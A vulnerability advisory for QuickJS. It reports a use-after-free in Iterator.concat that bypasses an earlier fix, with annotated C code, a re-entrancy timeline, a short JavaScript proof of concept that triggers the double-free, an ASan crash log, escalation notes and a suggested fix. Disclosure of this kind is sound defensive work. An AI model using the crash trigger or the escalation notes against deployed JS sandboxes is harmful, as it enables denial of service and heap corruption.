Use-After-Free in `Iterator.concat` via Re-Entrant `return()` Before Running Guard (Bypass of #1370 Fix)

[leegn4a]

Product: QuickJS (quickjs-ng/quickjs)
Version: 0.13.0 (commit f4b23b2, includes commit daab4ad from PR #1370)
File: quickjs.c
Bug class: Use-after-free (CWE-416) via missing re-entrancy guard (CWE-662)
Prior art: issue #1368, fixed by PR #1370

Severity (context-dependent):

Deployment model	Severity
JS sandbox / untrusted JS from network	High — reliable DoS, heap corruption
Application running trusted JS only	Low — defense-in-depth hardening

---

1. Summary

This is a bypass of the fix applied in PR #1370 (commit daab4ad) for issue #1368.

The original report (#1368) demonstrated re-entry through the @@iterator callback in JS_GetIterator2 (line 43412). The fix in #1370 mitigated the *obj/*meth double-free by zeroing it->values entries in js_iterator_concat_return after freeing them. However, a second re-entry window exists at line 43419 (JS_GetProperty(ctx, iter, JS_ATOM_next)) — after it->iter has been stored (line 43415) but before the running guard is raised (line 43424). A user-defined next getter can call outer.return() during this window. The return() method frees it->iter (line 43484), but the local iter variable in js_iterator_concat_next still holds the stale reference. The function later frees the stale iter again on the "done" path (line 43444), producing a use-after-free / double-free.

The #1370 fix protects *obj/*meth (the corresponding it->values[] slots are now zeroed to JS_UNDEFINED in return()), but does not protect the local iter snapshot. This PoC still crashes on current HEAD f4b23b2, which includes #1370.

The bug is reachable from pure JavaScript with no special APIs — only Iterator.concat and a user-defined iterator with a next getter.

---

2. Root Cause

File: quickjs.c, function js_iterator_concat_next (line 43390)

The re-entrancy window spans lines 43408–43423, with the guard set only at line 43424:

static JSValue js_iterator_concat_next(JSContext *ctx, JSValueConst this_val,
                                       int argc, JSValueConst *argv,
                                       int *pdone, int magic)
{
    // ...
    if (it->running)                                     // line 43401
        return JS_ThrowTypeError(ctx, "already running");

next:
    obj = &it->values[it->index + 0];                    // line 43408: pointer into values
    meth = &it->values[it->index + 1];                   // line 43409: pointer into values
    iter = it->iter;
    if (JS_IsUndefined(iter)) {
        iter = JS_GetIterator2(ctx, *obj, *meth);        // line 43412: user code (@@iterator)
        if (JS_IsException(iter))
            return JS_EXCEPTION;
        it->iter = iter;
    }
    next = it->next;
    if (JS_IsUndefined(next)) {
        next = JS_GetProperty(ctx, iter, JS_ATOM_next);  // line 43419: user code (getter)
        if (JS_IsException(next))                        //   ↑ re-entrancy here
            return JS_EXCEPTION;
        it->next = next;
    }
    it->running = true;                                  // line 43424: guard set too late
    // ...

    // Done path (line 43442–43451):
    if (done) {
        JS_FreeValue(ctx, item);
        JS_FreeValue(ctx, iter);                         // line 43444: frees stale iter
        JS_FreeValue(ctx, next);
        it->iter = JS_UNDEFINED;
        it->next = JS_UNDEFINED;
        JS_FreeValue(ctx, *meth);                        // line 43448
        JS_FreeValue(ctx, *obj);                         // line 43449
        it->index += 2;
        goto next;
    }

In the next-getter PoC, obj and meth still point into it->values, but PR #1370 already overwrites those two slots with JS_UNDEFINED in js_iterator_concat_return. The observed crash in this variant comes from the stale local iter at line 43444.

The return() method (js_iterator_concat_return, line 43459) checks the guard and proceeds because it is still false:

static JSValue js_iterator_concat_return(JSContext *ctx, ...) {
    // ...
    if (it->running)                                      // line 43468: false — not yet set
        return JS_ThrowTypeError(ctx, "already running");
    // ...
    while (it->index < it->count) {
        pval = &it->values[it->index++];                  // line 43480
        JS_FreeValue(ctx, *pval);                         // line 43481: frees the values
        *pval = JS_UNDEFINED;                             // line 43482: sets to undefined
    }
    JS_FreeValue(ctx, it->iter);                          // line 43484: frees iter
    JS_FreeValue(ctx, it->next);
    it->iter = JS_UNDEFINED;                              // line 43486
    it->next = JS_UNDEFINED;
    return ret;
}

Timeline

Step	Location	Action
1	js_iterator_concat_next:43408	obj, meth point into it->values
2	js_iterator_concat_next:43412	JS_GetIterator2 invokes evil[Symbol.iterator]() — returns object with next getter
3	js_iterator_concat_next:43415	it->iter = iter — stores owned reference
4	js_iterator_concat_next:43419	JS_GetProperty(ctx, iter, JS_ATOM_next) invokes the next getter
5	getter	Calls outer.return() — enters js_iterator_concat_return
6	js_iterator_concat_return:43468	it->running is false — guard does not fire
7	js_iterator_concat_return:43481-43482	Frees the current it->values[0], it->values[1] entries and overwrites those slots with JS_UNDEFINED
8	js_iterator_concat_return:43484	Frees it->iter (same object as local iter)
9	getter returns	Execution resumes at line 43419 with stale local iter
10	js_iterator_concat_next:43422-43425	Stores the returned next function, raises it->running, and calls JS_IteratorNext2
11	attacker-controlled next()	Returns {done: true, value: 0}
12	js_iterator_concat_next:43444	JS_FreeValue(ctx, iter) — double-free

---

3. Impact and Exploitability

Factor	Assessment
Primitive type	Double-free of a 72-byte JSObject (the iterator)
Demonstrated impact	Remote Denial of service — reliable crash from pure JS

What the attacker obtains

The re-entrant return() frees the iterator object referenced by the local iter variable. After control resumes, js_iterator_concat_next still uses that stale value in two places:

1. JS_IteratorNext2(ctx, iter, next, ...) (line 43425) — iter is passed as enum_obj (the this value) to the attacker's next function. In the reproduced PoC, execution survives this step and the crash occurs later during cleanup.

2. JS_FreeValue(ctx, iter) (line 43444) — reaches JS_FreeValueRT at line 6753 and decrements ref_count from freed memory. If the freed slot is reoccupied before this point, the subsequent zero-refcount path can traverse GC list pointers from reclaimed memory (quickjs.c:6718-6723).

Escalation potential

Between the first free (step 8, js_iterator_concat_return:43484) and the second (step 10, JS_FreeValue(ctx, iter)) at js_iterator_concat_next:43444, attacker-controlled JavaScript runs again through the returned next function inside JS_IteratorNext2. During this window the attacker can perform allocations that may reuse the freed 72-byte region. If the slot is reclaimed before the second free, the subsequent JS_FreeValue() → list_del() reads pointers from that data and writes to the addresses they contain — a potential write-what-where primitive. However:

• The attacker must win a heap allocation race to land data in the exact freed 72-byte slot during a narrow window.
• The list_del write is constrained (it links/unlinks GC list entries), not an arbitrary memory write.

This is theoretically plausible but non-trivial and is not demonstrated in this advisory.

---

4. Proof of Concept

let outer;
const evil = {
  [Symbol.iterator]() {
    return {
      get next() {
        outer.return();          // re-enters before running guard is set
        return function() {
          return { done: true, value: 0 };
        };
      },
      return() {
        return { done: true, value: 0 };
      }
    };
  }
};

outer = Iterator.concat(evil);
outer.next();                    // triggers uaf

Reproduction

$ mkdir build-asan && cd build-asan
$ cmake -DCMAKE_C_FLAGS="-fsanitize=address -g -O1" ..
$ cmake --build .
$ ./qjs poc_concat.js

ASan log

=================================================================
==40052==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000006140 at pc 0xc9ae7e1af3ac bp 0xffffda60adc0 sp 0xffffda60adb0
READ of size 4 at 0x507000006140 thread T0
    #0 0xc9ae7e1af3a8 in JS_FreeValueRT /workdir/quickjs.c:6753
    #1 0xc9ae7e1af3a8 in JS_FreeValue /workdir/quickjs.c:6761
    #2 0xc9ae7e1af3a8 in js_iterator_concat_next /workdir/quickjs.c:43444
    #3 0xc9ae7e1d2524 in js_call_c_function /workdir/quickjs.c:17260
    #4 0xc9ae7e0cfa6c in JS_CallInternal /workdir/quickjs.c:17419
    #5 0xc9ae7e0d08ec in JS_CallInternal /workdir/quickjs.c:17877
    #6 0xc9ae7e1f9484 in async_func_resume /workdir/quickjs.c:20317
    #7 0xc9ae7e1f9484 in js_async_function_resume /workdir/quickjs.c:20572
    #8 0xc9ae7e1fd6ec in js_async_function_call /workdir/quickjs.c:20691
    #9 0xc9ae7e1fd9c4 in js_execute_sync_module /workdir/quickjs.c:30652
    #10 0xc9ae7e1ff0ac in js_inner_module_evaluation /workdir/quickjs.c:30764
    #11 0xc9ae7e2020a8 in js_evaluate_module /workdir/quickjs.c:30811
    #12 0xc9ae7e2020a8 in JS_EvalFunctionInternal /workdir/quickjs.c:36393
    #13 0xc9ae7e2020a8 in JS_EvalFunction /workdir/quickjs.c:36407
    #14 0xc9ae7e094704 in eval_buf /workdir/qjs.c:128
    #15 0xc9ae7e0930e8 in eval_file /workdir/qjs.c:165
    #16 0xc9ae7e0930e8 in main /workdir/qjs.c:686
    #17 0xf4ff012784c0 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #18 0xf4ff01278594 in __libc_start_main_impl ../csu/libc-start.c:360
    #19 0xc9ae7e09382c in _start (/workdir/build-asan/qjs+0x3382c) (BuildId: 96b7f85666ba0a3dffce4bb17da56af767903dfd)

0x507000006140 is located 0 bytes inside of 72-byte region [0x507000006140,0x507000006188)
freed by thread T0 here:
    #0 0xf4ff015a61b4 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0xc9ae7e1047e0 in free_zero_refcount /workdir/quickjs.c:6677
    #2 0xc9ae7e1047e0 in js_free_value_rt /workdir/quickjs.c:6723
    #3 0xc9ae7e1b1628 in JS_FreeValueRT /workdir/quickjs.c:6754
    #4 0xc9ae7e1b1628 in JS_FreeValue /workdir/quickjs.c:6761
    #5 0xc9ae7e1b1628 in js_iterator_concat_return /workdir/quickjs.c:43484
    #6 0xc9ae7e1d24cc in js_call_c_function /workdir/quickjs.c:17203
    #7 0xc9ae7e0cfa6c in JS_CallInternal /workdir/quickjs.c:17419
    #8 0xc9ae7e0d08ec in JS_CallInternal /workdir/quickjs.c:17877
    #9 0xc9ae7e1110cc in JS_CallFree /workdir/quickjs.c:20058
    #10 0xc9ae7e1755bc in JS_GetPropertyInternal /workdir/quickjs.c:8699
    #11 0xc9ae7e1aeef8 in JS_GetProperty /workdir/quickjs.c:8786
    #12 0xc9ae7e1aeef8 in js_iterator_concat_next /workdir/quickjs.c:43419
    #13 0xc9ae7e1d2524 in js_call_c_function /workdir/quickjs.c:17260
    #14 0xc9ae7e0cfa6c in JS_CallInternal /workdir/quickjs.c:17419
    #15 0xc9ae7e0d08ec in JS_CallInternal /workdir/quickjs.c:17877
    #16 0xc9ae7e1f9484 in async_func_resume /workdir/quickjs.c:20317
    #17 0xc9ae7e1f9484 in js_async_function_resume /workdir/quickjs.c:20572
    #18 0xc9ae7e1fd6ec in js_async_function_call /workdir/quickjs.c:20691
    #19 0xc9ae7e1fd9c4 in js_execute_sync_module /workdir/quickjs.c:30652
    #20 0xc9ae7e1ff0ac in js_inner_module_evaluation /workdir/quickjs.c:30764
    #21 0xc9ae7e2020a8 in js_evaluate_module /workdir/quickjs.c:30811
    #22 0xc9ae7e2020a8 in JS_EvalFunctionInternal /workdir/quickjs.c:36393
    #23 0xc9ae7e2020a8 in JS_EvalFunction /workdir/quickjs.c:36407
    #24 0xc9ae7e094704 in eval_buf /workdir/qjs.c:128
    #25 0xc9ae7e0930e8 in eval_file /workdir/qjs.c:165
    #26 0xc9ae7e0930e8 in main /workdir/qjs.c:686
    #27 0xf4ff012784c0 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #28 0xf4ff01278594 in __libc_start_main_impl ../csu/libc-start.c:360
    #29 0xc9ae7e09382c in _start (/workdir/build-asan/qjs+0x3382c) (BuildId: 96b7f85666ba0a3dffce4bb17da56af767903dfd)

previously allocated by thread T0 here:
    #0 0xf4ff015a76d0 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0xc9ae7e0f95e0 in js_malloc_rt /workdir/quickjs.c:1625
    #2 0xc9ae7e0f95e0 in js_malloc /workdir/quickjs.c:1713
    #3 0xc9ae7e1286a4 in JS_NewObjectFromShape /workdir/quickjs.c:5699
    #4 0xc9ae7e1295f4 in JS_NewObjectProtoClass /workdir/quickjs.c:5826
    #5 0xc9ae7e0d7310 in JS_NewObject /workdir/quickjs.c:6000
    #6 0xc9ae7e0d7310 in JS_CallInternal /workdir/quickjs.c:17607
    #7 0xc9ae7e144474 in JS_Call /workdir/quickjs.c:20051
    #8 0xc9ae7e144474 in JS_GetIterator2 /workdir/quickjs.c:16337
    #9 0xc9ae7e1aef68 in js_iterator_concat_next /workdir/quickjs.c:43412
    #10 0xc9ae7e1d2524 in js_call_c_function /workdir/quickjs.c:17260
    #11 0xc9ae7e0cfa6c in JS_CallInternal /workdir/quickjs.c:17419
    #12 0xc9ae7e0d08ec in JS_CallInternal /workdir/quickjs.c:17877
    #13 0xc9ae7e1f9484 in async_func_resume /workdir/quickjs.c:20317
    #14 0xc9ae7e1f9484 in js_async_function_resume /workdir/quickjs.c:20572
    #15 0xc9ae7e1fd6ec in js_async_function_call /workdir/quickjs.c:20691
    #16 0xc9ae7e1fd9c4 in js_execute_sync_module /workdir/quickjs.c:30652
    #17 0xc9ae7e1ff0ac in js_inner_module_evaluation /workdir/quickjs.c:30764
    #18 0xc9ae7e2020a8 in js_evaluate_module /workdir/quickjs.c:30811
    #19 0xc9ae7e2020a8 in JS_EvalFunctionInternal /workdir/quickjs.c:36393
    #20 0xc9ae7e2020a8 in JS_EvalFunction /workdir/quickjs.c:36407
    #21 0xc9ae7e094704 in eval_buf /workdir/qjs.c:128
    #22 0xc9ae7e0930e8 in eval_file /workdir/qjs.c:165
    #23 0xc9ae7e0930e8 in main /workdir/qjs.c:686
    #24 0xf4ff012784c0 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #25 0xf4ff01278594 in __libc_start_main_impl ../csu/libc-start.c:360
    #26 0xc9ae7e09382c in _start (/workdir/build-asan/qjs+0x3382c) (BuildId: 96b7f85666ba0a3dffce4bb17da56af767903dfd)

SUMMARY: AddressSanitizer: heap-use-after-free /workdir/quickjs.c:6753 in JS_FreeValueRT
Shadow bytes around the buggy address:
  0x507000005e80: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x507000005f00: fa fa 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x507000005f80: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
  0x507000006000: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x507000006080: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
=>0x507000006100: 00 00 00 fa fa fa fa fa[fd]fd fd fd fd fd fd fd
  0x507000006180: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
  0x507000006200: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
  0x507000006280: fa fa 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x507000006300: fd fd fd fd fd fd fd fd fd fa fa fa fa fa 00 00
  0x507000006380: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==40052==ABORTING

The freed region is released by js_iterator_concat_return through the ordinary object free path (JS_FreeValue -> JS_FreeValueRT -> js_free_value_rt -> free_zero_refcount -> free_object) during the re-entrant outer.return() call.

---

5. Suggested Fix

Keep the running guard up for the entire next() call

js_iterator_concat_next should treat one public .next() invocation as a single critical section.

In the current code, it->running is raised only immediately before JS_IteratorNext2 at line 43424 and cleared immediately afterward at line 43426. That leaves multiple user-observable callbacks outside the guard:

• JS_GetIterator2(ctx, *obj, *meth) at line 43412
• JS_GetProperty(ctx, iter, JS_ATOM_next) at line 43419
• JS_GetProperty(ctx, item, JS_ATOM_done) at line 43435
• JS_GetProperty(ctx, item, JS_ATOM_value) at line 43453

A robust fix could be:

1. Set it->running = true immediately after the top-level if (it->running) check in js_iterator_concat_next.
2. Leave it set across the whole next: loop, including iterator acquisition, next lookup, JS_IteratorNext2, and the later done / value property reads.
3. Clear it in a single exit block on every normal return and exception path.

PR #1370's zeroing of it->values[] in js_iterator_concat_return should remain in place. That change fixes the original *obj / *meth stale-slot bug, while the broader guard placement change closes the re-entrancy hole for local state such as iter and next.

---

6. Prior Art

This is the same root cause as quickjs-ng/quickjs#1368: user code can re-enter js_iterator_concat_return while js_iterator_concat_next still holds live local state from the in-progress call.

	#1368 (fixed by #1370)	This finding
Re-entry point	JS_GetIterator2 (line 43412, @@iterator)	JS_GetProperty (line 43419, next getter)
Stale references	*obj, *meth (pointers into it->values)	Local iter (snapshot of it->iter)
Fix in #1370	Zeroes it->values entries in return()	Not addressed — local iter is still stale
Crash location	js_iterator_concat_next (use-after-free while double-freeing *obj / *meth)	js_iterator_concat_next:43444 (use-after-free while double-freeing iter)

The fix in #1370 was narrowly scoped: it neutralized the it->values[] slots after return() frees them, but it did not change where the running guard is raised. On f4b23b2, the guard is still first set at line 43424, after both JS_GetIterator2 and JS_GetProperty(..., next).

Section 5 recommends the more general remediation: keep it->running set for the full duration of a js_iterator_concat_next call, which also covers the later done / value property reads in the same function.